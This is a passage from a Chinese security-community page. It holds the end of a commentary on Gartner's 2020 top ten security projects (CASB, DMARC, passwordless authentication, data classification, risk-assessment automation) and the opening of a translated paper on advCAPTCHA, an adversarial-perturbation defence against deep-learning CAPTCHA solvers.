了能对云生产环境中的负载进行配置核查与修复，还能对开发环境中的负载进行配置核查与修复，从而实现DevOps全周期的防护。CSPM跟多个细分市场都有交集。云提供商现在大都在云原生安全能力中涵盖了CSPM功能。领先的CASB厂商也已经具备了较强的CSPM功能。同时，一些CWPP厂商也开始提供CSPM功能。此外，当前的云管理平台（CMP）通常都自带CSPM功能。
### 5.5 简化云访问控制项目
**5.5.1 项目描述**
企业渴望通过一个中心控制点对跨多云的服务实施统一的策略管理和安全治理，以便获得这些云服务的可见性，并对组织中使用这些云服务的用户和行为进行集中管控。虽然项目名称中只字未提，但通过内容我们还是可以知道Gartner的这个项目其实还是云访问安全代理（CASB）。
**5.5.2 项目难度**
中等。取决于所采用的云应用及服务的情况。
**5.5.3 项目关键**
通过正/反向代理还是API来实现可见性？支持威胁防护或者TIP吗？敏感数据监控与防护、合规报告、（云应用/服务）使用情况监控至关重要。
**5.5.4 项目建议**
如果你看不见需要被保护的对象，也就无法实施保护。因此，CASB首先要进行云应用发现，识别影子IT。接下来，可以考虑部署正向/反向代理和API来实施控制。对CASB而言，发现并保护云中的敏感数据至关重要，并且最好采取跟本地一致的敏感数据防护策略。
**5.5.5 技术成熟度**
在Gartner的2020年云安全Hype Cycle中，CASB正在向成熟期迈进，处于早期主流阶段。
**5.5.6 技术解析**
该技术从2014年就开始上榜了，Gartner对其独有情钟，但CASB在国内一直没啥动静，可能跟国内面向企业级的SaaS还不够丰富有关。Gartner认为，CASB作为一种产品或服务，为SaaS和IaaS中的可见性、数据安全、威胁防护与合规评估提供了关键的云治理控制。CASB将多种类型的安全策略整合到一个地方，这些安全策略包括认证、SSO、授权、设备建模、数据安全、日志、告警和恶意代码查杀。CASB产品基本都是基于云的，本地部署的很少见。笔者理解，CASB的出现原因，简单说，就是随着用户越来越多采用云服务，并将数据存入（公有）云中，他们需要一种产品来帮助他们采用一致的策略安全地接入不同的云应用，让他们清晰地看到云服务的使用情况，实现异构云服务的治理，并对云中的数据进行有效的保护，而传统的WAF、SWG和企业防火墙无法做到这些，因此需要CASB。Gartner认为CASB应具备的主要功能包括：云应用发现与风险评级、自适应访问控制（AAC）、CSPM、DLP、加密和令牌化、企业应用/服务集成、UEBA、日志管理，等。
### 5.6 基于DMARC协议的邮件安全防护项目
**5.6.1 项目描述**
DMARC被设计用来防范直接的域名仿冒。在邮件系统中实现DMARC有助于减少商业邮件失陷（BEC）的部分可能因素。Gartner表示，从2020年到2023年，BEC攻击的损失每年都会翻番，2023年将超过50亿美元。而FBI的互联网犯罪投诉（IC3）则更是发出警告称2018~2019年间BEC造成的损失达到了260亿美元！Gartner建议用户部署这个免费的技术，以缓解仿冒型钓鱼邮件的攻击。笔者认为，钓鱼邮件诈骗之于欧美恰如钓鱼电话/短信诈骗之于中国，都是洪水猛兽，汹涌澎湃。
**5.6.2 项目难度**
简单。在主动拒绝恶意消息之前先花些时间学习和监测来自已知域名的邮件。
**5.6.3 项目关键**
研究并整合品牌管理及社交媒体监控的方法；将DMARC集成到整体电子邮件安全方法中。
**5.6.4 项目建议**
先从监测开始，然后再真正开始阻断。DMARC不能消除对于全面邮件安全策略的需求，这仅仅是一个值得去做的一个点，要真正做好邮件安全，需要做的事情还有很多。
**5.6.5 技术成熟度**
根据Gartner的定义，（电子）邮件安全是指为邮件提供攻击防护和访问保护的预测、预防、检测与响应的框架。该市场包括了多种技术、产品、流程和服务，大体的构成如下图所示，主要包括安全邮件网关（SEG）、集成邮件安全解决方案（EISS）、云邮件安全补充（CESS），等。其中最主要的是SEG产品，目前已经是成熟产品，2019年的销量增长超过了20%，在各门类安全软件中位居第三，达到19.1亿美元。Gartner没有对DMARC技术进行技术成熟度分析，也没有单列出相关的细分市场。事实上，DMARC作为2012年诞生的技术，作为防范邮件仿冒和社工类攻击的一种手段已经很成熟了。
**5.6.6 技术解析**
从2018年开始，Gartner每年都会将邮件安全（尤指反钓鱼邮件）的项目列入十大安全项目之中，可见邮件安全的重要性。Verizon的[2020年DBIR报告](https://mp.weixin.qq.com/s?__biz=MzUyNzMxOTAwMw==&mid=2247484157&idx=1&sn=d355d6d2412dfa4080a6ffb57443641b&chksm=fa002849cd77a15f43e35b0d16ce35debec7e50fe3b4c87125c500b72135f404eba3e4dbe74d&token=766021203&lang=zh_CN&scene=21#wechat_redirect)显示，导致数据泄露的首要威胁行为样式就是钓鱼（参见DBIR报告图13）。在[2018年的项目建议](https://mp.weixin.qq.com/s?__biz=MzUyNzMxOTAwMw==&mid=2247483696&idx=1&sn=f5b849f3d3e8b1aa57a13073f0c623ba&chksm=fa002b84cd77a29284072bf3879bb8a0fa4d88f139d58a1d95266bae2444deceb6fa1a89d73c&scene=21#wechat_redirect)中Gartner给出比较全面的项目建设建议，包括谈到要构建一个从技术控制、用户控制和流程重构三管齐下的全面邮件安全策略，其实就是要采取人、技术和流程相结合的机制来做。当时Gartner给出了不少很有价值的技术建议。在[2019年的项目建议](https://mp.weixin.qq.com/s?__biz=MzUyNzMxOTAwMw==&mid=2247483855&idx=1&sn=a5f1f85d5f1c8a7c30168c48f6d03241&chksm=fa002b7bcd77a26d6258a73b6e4dde8d7d75c6496f68ce14d7f19510ed198ec28a2a14638ccd&scene=21#wechat_redirect)中，则进一步将建议聚焦到应对商业邮件失陷（BEC）问题上，并给出了一系列相关的建议。在2020年，则更进一步建议具体采用DMARC协议来缓解BEC风险。DMARC是Domain-Based Message Authentication, Reporting and
Conformance（基于域名的消息认证报告与一致性协议）的简称。DMARC是一项2012年就诞生的电子邮件安全协议，大家可以自行百度、知乎，查看详情。这里引用网易企业邮箱中的帮助信息简要介绍一下：DMARC是一种基于现有的SPF和DKIM协议的可扩展电子邮件认证协议，其核心思想是邮件的发送方通过特定方式（DNS）公开表明自己会用到的发件服务器（SPF）、并对发出的邮件内容进行签名(DKIM)，而邮件的接收方则检查收到的邮件是否来自发送方授权过的服务器并核对签名是否有效。对于未通过前述检查的邮件，接收方则按照发送方指定的策略进行处理，如直接投入垃圾箱或拒收。DMARC协议是较能有效解决信头（From）伪造而诞生的一种邮件来源验证手段，为邮件发件人地址提供强大保护，并在邮件收发双方之间建立起一个数据反馈机制。企业客户使用了DMARC之后，都可以很方便地告诉邮件接收方如何认证“我”的邮件，如何处理仿冒“我”的邮件，如何把仿冒邮件的数据反馈给“我”。对于顺利通过DMARC验证的邮件，会最终投递到收件人的邮箱中；若是仿冒的邮件则会按照“我”的设置来处理，且仿冒信息将会反馈给“我”。下图来自DMARC组织的官方介绍：最后，需要强调的是，DMARC仅仅是邮件安全的一种技术手段，并且主要是防范钓鱼类攻击。应该说落实该技术的投资回报率很高，但完整的邮件安全远不止于此，其它特色技术还包括网络沙箱、内容拆解与重建（CDR）、URL重写与点击时分析、远程浏览器隔离、各种异常检测技术、反钓鱼行为训练APBC（原来叫APBM）、安全编排自动化与响应（SOAR），等。这里提及的部分技术在笔者的《[2018年Gartner十大安全项目详解](https://mp.weixin.qq.com/s?__biz=MzUyNzMxOTAwMw==&mid=2247483696&idx=1&sn=f5b849f3d3e8b1aa57a13073f0c623ba&chksm=fa002b84cd77a29284072bf3879bb8a0fa4d88f139d58a1d95266bae2444deceb6fa1a89d73c&scene=21#wechat_redirect)》中有所介绍。
### 5.7 无口令认证项目
**5.7.1 项目描述**
尽管彻底消除口令还很遥远，但降低对口令的依赖已经十分可行。企业和组织应加强信任建设和提升用户体验。Reed在会上表示，有统计发现70％的用户在工作和个人世界之间重复使用密码。他说，有很多选择可以使用第二个因素代替密码，例如已知的资产，包括手机，平板电脑，钥匙扣或智能手表，还有使用零因素或多因素身份验证的其他示例。
**5.7.2 项目难度**
难。需要教育用户和持续的的安全意识培训以避免流程上的混淆。
**5.7.3 项目关键**
基于信任机制和用户体验需求慎重选取合适的无口令认证方案；要实现无口令的注册、认证和账号恢复。
**5.7.4 项目建议**
采用试点、分阶段实施的方法，不断监测用户反馈，逐步落实。
**5.7.5 技术成熟度**
Gartner预计，到2023年，有30％的组织将至少采用一种形式的无口令身份验证。无口令认证涉及很多技术，其中一些先进技术在Gartner的IAM
Hype Cycle中被提及，譬如FIDO认证协议、移动多因素认证，并且都位于炒作高潮期。
**5.7.6 技术解析**
首先，笔者这里将password翻译为口令，而不是密码！二者不是一回事儿。用户对各种系统的口令管理一直是个令人头痛的问题，大家通常都不乐意定期修改口令。对企业和组织而言，在网络环境中实现无口令认证机制无疑会在提升企业安全的同时极大地提升用户体验。要实现无口令认证，有多种技术选项，如下图所示，包括单因素认证、多因素认证和无因素认证，要根据不用的场景来取舍。Gartner提醒大家，受限于企业现有系统的复杂性，要实现通用简洁的无口令认证机制并非易事，IAM项目团队需要一套跨多种场景的整合策略。首先，当前的无口令认证技术差异巨大，有的是在用户交互层消除了口令，但底层本质还是基于口令认证的；还有的则是在底层上就消除了口令。Gartner推荐部署了Windows系统的企业和组织优先评估微软的Hello解决方案，以及手机即令牌（phone-as-a-token）的多因素认证解决方案。其次，寻找一个适用于不用应用场景的、兼容现有网络和系统架构的整合性无口令认证解决方案。在无法实现完全无口令认证（如某些登录过程）的时候，可以退而采用“轻口令”方式。
### 5.8 数据分类与保护项目
**5.8.1 项目描述**
不用的用户对待数据各不相同。确保你有一个定义明确的、有技术支撑的数据分类与保护策略。该项目名称虽然叫数据分类与保护，但实际上重点聚焦于数据分类，它是数据保护的基础。
**5.8.2 项目难度**
中等到难。需要用户理解数据分类模式。能否实现自动化很重要。
**5.8.3 项目关键**
定义明确的数据分类模式；业务逻辑在分类和保护级别上消除了歧义；统筹考虑本地和云端数据使用。
**5.8.4 项目建议**
在确定技术路线之前先从策略和定义开始。与现有数据保护工具集成，利用平台/API。
**5.8.5 技术成熟度**
根据Gartner2020年的数据安全Hype Cycle，数据分类目前处于青春期阶段，位于炒作的顶峰。
**5.8.6 技术解析**
Gartner认为，数据分类是一个使用事先商定好的分类规则、方法或者本体论对信息资产进行组织的过程。它可为涵盖价值，安全，访问，使用，隐私，存储，道德，质量和留存等诸多要素在内的数据和分析治理策略提供有效和高效的数据优先级划分。数据分类通常会导致开发大型的元数据存储库以用于做出进一步的决策，或者将“标签”应用于数据对象以促进数据在其生命周期中的使用和管理。从数据生命周期的角度来看，数据分类十分重要，起到了承上启下的作用，如下图所示：从数据安全的角度来看，数据分类也很重要，是数据分析与价值评估的重要前提。此外，随着对数据隐私与保护问题的日益重视，数据分类的价值愈发凸显。总体上，数据分类是一个很困难的过程。首先就是确定分类方法论和分类标准。然后，作为一个简化，Gartner建议在识别、标记和存储组织所有数据的时候先不要考虑数据的价值、用途和风险。接下来再利用信息经济学的方法来评估数据价值，剔除低价值数据，优化数据管理成本。此外，数据分类应该是一个持续、自适应和反复迭代的永续过程，是一个持续改进的过程，可以划分为计划、建立（又进一步细化为诊断、制定、实施）、监控三个阶段，这当中运用自动化技术和手段至关重要。这里对数据分类模式和自动化进一步展开阐述。数据分类模式是分类工作的基础，很多数据分类项目首先就失败在复杂的分类模式上了。Gartner建议要构建一个易于理解的数据分类模式，不要过分追求大而全，而首先考虑可理解性。分类模式设计堪称一门艺术，很难有固定的标准，但Gartner建议将很多本来打算用分类模式来阐述的属性放置到数据标签甚至是不同的操作规程中去体现，笔者认为这是一个不错的主意。自动化是提升数据分类效率的重要帮手，否则即便有好的分类模式，面对海量数据也难以落地实施。不过，面对不同的数据、数据所处的状态（静态、动态），要采用不同的自动化工具，而不存在一个统一的工具。还有，完全自动化也不靠谱，还是需要人（包括用户）的参与。
### 5.9 员工胜任力评估项目
**5.9.1 项目描述**
数字业务计划要求我们要有合适的人担任合适角色，并且有合适的数量，拥有合适的技能和胜任力。此前，我们一直都在谈安全人才的匮乏，聚焦在人的数量上。但Gartner却把重点放到安全业者的胜任力上，并超越了岗位角色、职责、技能问题，讨论的是如何提升人员素质，聚焦在人的质量上。这个项目要求领导者梳理安全团队技能和胜任力情况，确定4到6项对组织成功至关重要的额4到6项胜任力，并将这几个胜任力用于新人的招聘和现有人员的培养。
**5.9.2 项目难度**
中等。需要对文化、能力进行诚实的评估，并加以教育和培训。
**5.9.3 项目关键**
要区分开角色、技能和胜任力的差异；优先采用基于胜任力的岗位描述，不存在“完美”的员工；专注于提升4至6项胜任力。
**5.9.4 项目建议**
你可以找到厂商来支撑你，但这个项目必须是你自己的安全团队驱动的。
**5.9.5 技术成熟度**
员工胜任力评估总体上属于软性的过程性的项目，如果说跟技术相关的话，就是在评估过程中可以借助一些技术手段来提高评估的效率和有效性。如果查看Gartner针对该项目推介的厂商清单，可以发现基本都对应了基于计算机的安全意识培训厂商。这些厂商有的可以提供培训平台（基于本地的，或者基于云的），有的则擅长制作各类培训课件，有的课件还兼具实战性。但总体上来说，这些厂商都无法向用户出具关键的胜任力清单，也无法给用户提供一套现成的岗位职责说明书模板，这些都是用户自己的事儿。根据Gartner在2019年所作的统计，基于计算机的安全意识培训市场在2018年的规模约为4.51亿美元，预计2019年将达到6.2亿美元。同时，Gartner预计，至少到2023年，该市场将以42％的复合年增长率（CAGR）增长。Gartner未在成熟度曲线中描述基于计算机的安全意识培训相关技术。笔者认为，该市场涉及的技术并不复杂，主要是业务模式和内容、形式的开发。稍微复杂一点的网络钓鱼测试与反钓鱼训练技术其实也可以归入邮件安全技术之中。
**5.9.6 项目解析**
要实施该项目，核心就亮点：1）理解什么是胜任力，它与技能和角色的关系是什么？2）构建自身安全团队的胜任力模型。根据Gartner的定义，所谓胜任力是指个人在给定角色中产生卓越绩效的可观测、可度量和可预测的特征，譬如业务敏锐度、数字灵巧性，等。相较而言，技能是指在执行工作或者任务的过程中观测到的动手能力，譬如在应用安全中使用PKI加密和数字签名，配置网络和安全策略，等。角色是一组相关的功能和职责所对应的某个特定工作岗位，譬如安全分析师，安全运营经理，等。从管理学的角度来看，胜任力的提出者麦克利兰认为它是指能将某一工作中有卓越成就者与普通者区分开来的个人的深层次特征，它可以是动机、特质、自我形象、态度或价值观、某领域知识、认知或行为技能等任何可以被可靠测量或计数的并且能显著区分优秀与一般绩效的个体特征。显然Gartner参考了这个权威定义。人们通常用冰山模型来描述胜任力的不同特质，并特别强调要重视冰山之下的那些鉴别性特征，如下图所示：可见，技能只是胜任力的浅层表现，要做好胜任力评估，关键是要提取出与本组织情景条件相适合的深层特征。Gartner认为，为了实现数字化业务转型，必须为员工建立数字化胜任力模型，并应用于安全与风险管理领域。Gartner给出了一份包括12项胜任力的数字化胜任力模型，并阐述了他们如何映射到安全与风险领域，其中6个主要的胜任力如下图所示，分别是：适应性、业务敏锐度、数字灵巧性、产出驱动、协作/协同建好了胜任力模型和重点胜任力清单，接下来就要建立安全团队的角色清单、技能清单，并将他们互相关联起来。这里，Gartner特别提到了可以参考《NISTSP800-181网络教育国家倡议（NICE）网络劳动力框架》来构建自己的技能清单，该标准列举了374项技能，176种能力，52个角色。
### 5.10安全风险评估自动化项目
**5.10.1项目描述**
Gartner发现只有58%的安全领导能够对所有重大新项目进行持续的风险评估。自动化风险评估能够使IT交付更高效。与2019年在安全与风险管理领域提出的安全评级服务（SRS）不同，2020年的自动化安全风险评估很泛泛，可以涉及多个子领域和技术方向。某种意义上而言，SRS就是一种自动化风险评估技术，BAS、漏扫也算是一种自动化风险评估技术。从Gartner针对该项目推介的厂商清单来分析，笔者认为Gartner主要是针对集成风险管理（IRM）子领域来讨论其中的风险评估自动化问题。IRM大致对应业界一般所指的治理风险与合规（GRC），只是前几年Gartner将GRC这个概念进行了彻底的拆分。
**5.10.2项目难度**
中等到难。谨记是业务部门决定承担多少风险，安全部门在于提供控制措施的指导（这与第三章摘录的Gartner对于项目成功关键因素的表述如出一辙）。
**5.10.3项目关键**
要设法缓解控制措施测试与监测过程中的安全资源瓶颈问题；通过专业的沟通来提升对于风险评估评级的信心。
**5.10.4项目建议**
充分利用对风险评估至关重要的安全数据源，并将从这些数据源提取相关数据及后续分析的工作流程自动化。
**5.10.5技术成熟度**
根据Gartner 2020年的风险管理Hype Cycle，IRM目前处于青春期阶段，正在向失望低谷滑落。
**5.10.6技术解析**
安全风险评估（Security Risk
Assessment）是Gartner十分看重的一项工作，写过大量的报告和指南。安全风险评估这个概念已经有了二十年的历史了，十分古老，意义不言自明，是安全领域的一个理论基石，但更多是停留在理念、标准、规范层面，不论是ISO27005，还是NIST
SP800-30都有专门的论述。很早以前，人们（譬如笔者）就在试图将这个工作形式化，借助系统来自动运行，至今仍然在为之努力，目前主要是体现在GRC类产品和平台之中。近些年来，由于人们更多将目光投射到面向对抗的安全领域，对于安全风险评估有所淡忘。事实上，Gartner一直在关注这个领域，并且是作为安全的五大分支之一在持续跟踪研究。回到安全风评估技术本身，它属于风险管理框架的组成要素之一，如下是Gartner的风险管理框架：如果我们看NIST
SP800-30，或者ISO27000系列，对于风险管理和风险评估的阐释也都差不多，这里不再赘述。Gartner建议，为了降低风险评估工作的操作复杂度，提升这项工作的成效（量化效果），必须引入自动化技术。Gartner表示，安全风险评估自动化的目标是将定义明确且可重复的风险评估过程的各个要素整合起来，以识别、度量和处置IT风险。自动化风险评估的一个重要价值就在于采用一致和一贯的标准（譬如NISTCSF框架、ISO27001，或者风险计算模型和公式）来估算风险，使得风险度量的结果可比较，改进情况真正可度量。Gartner表示，向安全风险评估项目注入某种程度的自动化的目的是确保随着时间的推移，对评估结果保持一致性和信心。进一步分析安全风险评估自动化的技术手段。最典型的一类自动化分析手段就是利用日志分析技术，采集关键数据源的文本信息，基于预定义的风险模型进行计算和分析。但实际上，风险评估时仅仅采集与分析控制措施运行后产生的痕迹信息是远远不够的，还需要对控制措施及其过程进行测试验证，包括采用BAS、配置核查、漏洞扫描、资产测绘，也包括采用诸如SOAR、RPA技术手段将多个重复的测试过程串起来，还包括采取诸如ISACA推介的连续控制措施监测（CCM）方法论。
## 6 候选安全项目
2020年的候选安全项目清单中还包括：１） 员工（网络）监视与（物理）监视技术；２） 威胁溯源服务３） 自动化威胁猎捕４） 网络靶场和网络仿真５）
基于聊天机器人的安全意识培训与教育６） 生物特征凭据检测与保护７） 量子一切【暂译】８） 安全访问服务边缘（SASE）９）
信息物理系统（CSP）安全——无人机检测、体温检测
## 7 综合建议
在峰会上，发言人Brain Reed给出了几点综合性建议：
* 如果你只能做一件事，那么把保障员工远程访问的安全放在首位；
* 在选择项目的时候，不要仅仅关注削减风险的项目，也要考虑使能业务的项目，意即要一定做些体现业务价值的安全项目。在这点上，国内外的考量基本一致。
* 如果你正在将数据和应用向云中迁移，请考察ZNTA、CSPM和SASE。
* 认清你的安全胜任力（以及缺陷），并制定一份提升安全意识和教育的计划。
## 8 参考信息
1. Top 10 Security Projects for 2020, Gartner Security and Risk Management Summit 2020;
2. Security and risk management leaders should focus on these 10 security projects to drive business-value and reduce risk for the business. Gartner;
3. Top Five Midsize Enterprise Security Projects for 2020, Gartner;
4. [Gartner：2020年中型企业的5大安全项目](http://mp.weixin.qq.com/s?__biz=MzUyNzMxOTAwMw==&mid=2247484140&idx=1&sn=1105fa84d9caec3938d6b4d0285f0648&chksm=fa002858cd77a14ec627e6960b895ec729e5c100820c9c5a388ddb60c3d6882bfd18a78bfc32&scene=21#wechat_redirect)，Benny Ye；
5. [Gartner 2019年十大安全技术详解](http://mp.weixin.qq.com/s?__biz=MzUyNzMxOTAwMw==&mid=2247483855&idx=1&sn=a5f1f85d5f1c8a7c30168c48f6d03241&chksm=fa002b7bcd77a26d6258a73b6e4dde8d7d75c6496f68ce14d7f19510ed198ec28a2a14638ccd&scene=21#wechat_redirect)，Benny Ye；
6. [Gartner 2018年十大安全技术详解](http://mp.weixin.qq.com/s?__biz=MzUyNzMxOTAwMw==&mid=2247483696&idx=1&sn=f5b849f3d3e8b1aa57a13073f0c623ba&chksm=fa002b84cd77a29284072bf3879bb8a0fa4d88f139d58a1d95266bae2444deceb6fa1a89d73c&scene=21#wechat_redirect)，Benny Ye；
7. Market Guidefor Zero Trust Network Access 2020, Gartner；
8. Market Guidefor Vulnerability Assessment 2019, Gartner;
9. Innovation Insight for Extended Detection and Response, Gartner;
10. Innovation Insight for Cloud Security Posture Management, Gartner;
11. Hype Cycle for Cloud Security, 2020, Gartner;
12. Market Guide for Email Security 2020, Gartner;
13. Hype Cycle for Data Security, 2020, Gartner；
14. Hype Cycle for Security Operations, 2020, Gartner. | 社区文章 |
# 对抗式验证码生成系统：针对深度学习破解器的防御
|
##### 译文声明
本文是翻译文章，文章原作者 Chenghui Shi, Shouling Ji , Qianjun Liu, Changchang Liu ,
Yuefeng Chen, Yuan He, Zhe liu, Raheem Beyah,Ting Wang，文章来源：nesa.zju.edu.cn
原文地址：<https://nesa.zju.edu.cn/download/Text%20Captcha%20Is%20Dead%20A%20Large%20Scale%20Deployment%20and%20Empirical%20Study.pdf>
译文仅供参考，具体内容表达以及含义原文为准。
深度学习技术的发展显着提高了计算机识别CAPTCHA（完全自动化的公共图灵测试，以告诉计算机和人类）的能力，从而破坏或减轻了现有验证码方案的安全性。为了防止这些攻击，最近提出了利用对抗性机器学习来扰动验证码图片的工作。但是，他们要么需要事先掌握验证码解决方案模型的知识，要么就无法适应攻击者不断发展的行为。最重要的是，它们都尚未在实际应用中部署，并且它们的实际适用性和有效性尚不清楚。
在这项工作中介绍了advCAPTCHA，这是一种实用的对抗式验证码生成系统，可以防御基于深度学习的验证码破解器，并将其部署在拥有近十亿用户的大规模在线平台上，这是已经在国际大型在线平台上部署的第一项此类工作。通过以新颖的方式应用对抗学习技术，advCAPTCHA可以生成有效的对抗验证码，从而显着降低攻击者的成功率，这已在大规模在线研究中得到证明。此外，还验证了advCAPTCHA在实际应用中的可行性以及在防御各种攻击方面的强大功能。利用现有的用户风险分析系统来识别潜在的攻击者并为他们提供advCAPTCHA。然后，将其答案用作对攻击模型的查询。以这种方式，可以对advCAPTCHA进行调整/微调，以适应定位模型的发展。总体而言，advCAPTCHA可以用作在实践中生成可靠的验证码的关键引擎，并为验证码开发人员和从业人员提供有用的指导。
## 0x01 Introduction
验证码是计算中的一种挑战响应测试，旨在区分人工程序和自动化程序（机器）。自从其发明以来，验证码已被广泛用于通过防止滥用网络服务（例如网络钓鱼，机器人，垃圾邮件和Sybil攻击）来提高网站和各种在线应用程序的安全性。现有的验证码机制通常可以分为基于文本的验证码，基于图像的验证码，基于音频的验证码，基于游戏的验证码等。其中，基于文本的验证码一直是当今和可预见的最热门的研究和应用，这也是这项工作的重点。
在过去的十年中，已经提出了许多用于自动识别验证码的攻击。在早期，许多攻击都针对特定的验证码方案进行了硬编码，其中设计攻击试探法和方法需要大量的专家参与。因此，提出了许多利用变化的字体和/或背景噪声的防御策略，以使验证码更健壮和更具挑战性。后来，为了进一步防御针对多个基于文本的验证码方案的通用攻击，提出了高级防御策略（例如，通过使用合并字符和字符失真），以增加字符分割和识别难度。
最近，深度学习技术在文本识别方面显示出了巨大的成功，自然会进一步引入深度学习技术来打破高级验证码。要构建基于深度学习的验证码破解器，攻击者只需：
1）收集一定数量的带标签的培训数据，这可以通过雇用低成本的人工或直接使用现有的众包平台来完成，
2）使用成熟的深度学习技术/平台来训练端到端验证码破解器。
端到端模型不需要预处理或字符分割，而将整个验证码作为输入并直接识别它。正如广泛演示的那样，这些基于深度学习的攻击可以在各种验证码上获得明显良好的识别性能。
更糟的是，针对验证码解决方案的商业化验证码解决方案平台可以从最新的深度学习技术中受益匪浅。先前积累的验证码不仅可以帮助直接训练功能强大的破解器，而且还有利于利用迁移学习打破新的验证码方案。但是，对于小型企业和非互联网公司/部门的可用性，低成本和高可扩展性，它们仍然广泛地部署潜在易受攻击的文本验证码。
有趣的是，最近的研究发现机器学习（ML）模型（尤其是深度学习模型）容易受到敌对扰动的影响，可以将其注入到合法图像中，从而使分类器可以预测出不正确的图像标签。另一方面，对ML模型的攻击为启发人机验证防御现代攻击提供了启发，而现代攻击通常基于最新的深度学习技术。具体说来，为了抵御这些攻击，最近提出了利用对抗性学习向对抗式样攻击注入对抗性扰动的最新著作。将这些经过精心设计的扰动的验证码称为对抗性验证码。这些对抗性有望抵抗基于深度学习的攻击，同时保持人类的高可用性。
尽管对抗性验证码的想法很有希望，但所提出的机制与实际应用之间仍然存在巨大差距。首先，他们通常假设攻击模型具有先验知识，即，插入验证码的对抗性扰动取决于攻击模型的先验知识（例如，其参数），但是通常在实践中不可用。其次，以前的作品缺乏对攻击者不断发展的行为的适应性。攻击者（例如，验证码解决方案平台）通常具有强大的能力和动机来在实践中快速更新其模型。一旦攻击者发展了他们的模型，验证码生成机制也需要进行调整。最后，截至撰写本文时，大多数（即使不是全部）提议的对抗性验证码生成方案并未在实际应用中实际部署或评估。换句话说，对抗性验证码的想法是否可以在现实世界的平台上运作还不知道。因此，研究高度安全，自适应和实用的对抗性验证码生成和部署方案非常重要。
为了填补空白，本研究与一家全球领先的互联网公司合作，开发了一种自适应对抗式验证码生成系统，即advCAPTCHA，并将其部署在拥有8.24亿活跃个人用户及以上的大规模电子商务平台上100万商业用户。利用这种部署和应用，进行了大规模的实证研究，以评估提出的机制的安全性，有效性，适应性和可用性。在较高级别上，advCAPTCHA首先通过收集的验证码来训练替代破解模型，然后采用替代模型来生成对抗性验证码。之后，通过将攻击者提交的答案作为对他们的破解模型的查询来唯一地查看，advCAPTCHA可以通过学习其验证码识别行为来微调替代模型以近似攻击模型。
## 0x02 Background
### 1）ML模型漏洞
最近的工作发现，包括神经网络在内的现有ML模型容易受到各种攻击。接下来介绍在本文的方法中使用的两种类型的攻击。
**模型逃逸攻击：** 在逃逸攻击中，攻击者旨在将精心制作的扰动注入合法实例，以便分类器预测该实例的错误标签。这种实例称为对抗性实例。
在黑盒设置中，有两种流行的方法可以生成对抗性示例。第一种方法取决于对抗性示例的可传递性。攻击者首先训练替代模型，利用替代模型生成对抗示例，然后将其转移以攻击目标模型（即受害者模型）。第二种方法是梯度估计方法。
在梯度估计方法中，攻击者可以通过发送任何输入来查询目标模型并接收预测的类概率。然后，攻击者利用查询结果来近似目标模型的梯度信息。最后，这种估计的梯度信息将进一步用于生成对抗性示例。但是，这些方法需要大量查询才能生成对抗性示例。
**模型提取攻击：** 在提取攻击中，攻击者旨在利用目标模型的预测来构建另一个模型，作为对目标模型的近似。现有的模型提取方法通常包括以下步骤：
1）构建数据集X，可以在输入空间内随机选择样本或精心设计样本；
2）利用目标模型F预测X并获得预测结果Y;
3）将Y视为X的基准，并训练一个近似模型Fˆ。
### 2）对验证码的现代攻击
在过去的十年中，已经提出了许多攻击来解决验证码，这些攻击总结在上表中。早期作品通常遵循三个步骤：预处理，分割和识别。特别是，他们首先使用启发式方法来过滤背景图案（例如，验证码的背景中的线条噪声），然后使用分段技术（例如颜色填充分段）来对验证码进行分段，最后使用ML模型来识别分割。之后的作品将分割和识别结合在一起。他们使用ML模型对所有可能的方式进行验证码评分，然后找到最可能的方式作为输出。最近，通过利用深度学习技术，使用DNN模型直接识别验证码图像而没有字符分割。特别是，他们首先生成合成的验证码以学习基本破解器，然后通过利用转移学习在少量的真实验证码上微调基本破解器。因此，与先前的方法相比，他们的方法可以用明显更少的真实验证码集实现良好的识别性能。
除了学术研究之外，验证码破解平台还使用了深度神经网络来破解验证码。作为旨在解决验证码的商业部门，他们已经积累了从各种验证码方案生成的大量验证码。有了这些数据，他们可以训练一个非常强大的破解器并攻破一系列验证码方案。
### 3）advCAPTCHA
大多数对文本验证码的攻击都是基于ML技术的，这种技术容易受到各种对抗性攻击。因此，本研究旨在利用ML模型的漏洞来主动防御基于ML的验证码破解器，即生成对抗性的验证码来欺骗基于ML的验证码破解器。但是，在一般实际情况下，通常无法访问攻击模型。因此，很难直接针对它们生成对抗性的验证码。一种直观的方法是先针对执行与攻击模型相同任务的替代模型（通过使用自己的验证码方案进行训练）生成对抗性验证码，然后使用针对替代模型的生成的对抗对抗验证码来防御真正的未知攻击模型。
但是，由于以下两个原因，这种直观的方法在实践中可能效果不佳。
1）通过在实际应用中的仔细观察，发现攻击者通常同时针对多个验证码方案，而不仅仅是一种。因此，通过自己的验证码方案训练的替代模型可能与攻击模型有所不同。结果，由替代模型生成的对抗性验证码可能无法证明对真实攻击模型的可转移性。
2）在实践中，攻击者具有强大的能力和动机来更新其攻击模型，这可能会进一步降低对抗性验证码的传递能力。在最坏的情况下，对抗验证码的安全性可能会下降到普通的验证码。因此，验证码生成机制也需要更新，以防御不断发展的攻击模型。
对抗性验证码的安全性紧密取决于提出的替代模型和攻击模型之间的相似性。因此，要生成有效的对抗性验证码，就需要有效的渠道来观察和理解真实的攻击模型。为了解决上述挑战，将模型提取的思想纳入构建替代模型中。详细地说，以独特的方式查看攻击者作为对他们的破解模型的查询提交的答案。然后，使用这些查询来提取真实的攻击模型。值得注意的是，考虑到DNN的效率问题，没有直接从这些查询中构建替代模型。取而代之的是，首先使用预先收集的验证码和相应的标签来训练一个破解模型，然后将该模型用作基准替代模型来生成对抗性验证码，最后将其转移以防御实际的攻击模型。一旦观察到攻击模型的更新，就可以查询攻击模型并通过利用这些查询来微调基线替代模型。结果态地更新了替代模型，以适应攻击者不断发展的模型。
## 3 Design of advCAPTCHA
### 1）概述
在上图中提供advCAPTCHA的工作流程，该工作流程由以下4个重要步骤组成。
**步骤1：**
训练替代破解模型。在实践中，通常没有攻击模型的先验知识，因此需要训练替代解决方案模型，并将其用作实际攻击模型的替代品。然后，可以利用替代模型来生成对抗性验证码，以防御验证码破解攻击。在此步骤中需要关注两个因素：模型结构和训练数据。对于模型结构，选择一个模型，该模型可以同时识别验证码图片中的所有字符，而无需图像预处理和字符分割。对于训练数据，考虑了多种不同的验证码方案，以增强替代模型的通用性。利用这些数据和模型结构，可以训练替代破解模型。
**步骤2：**
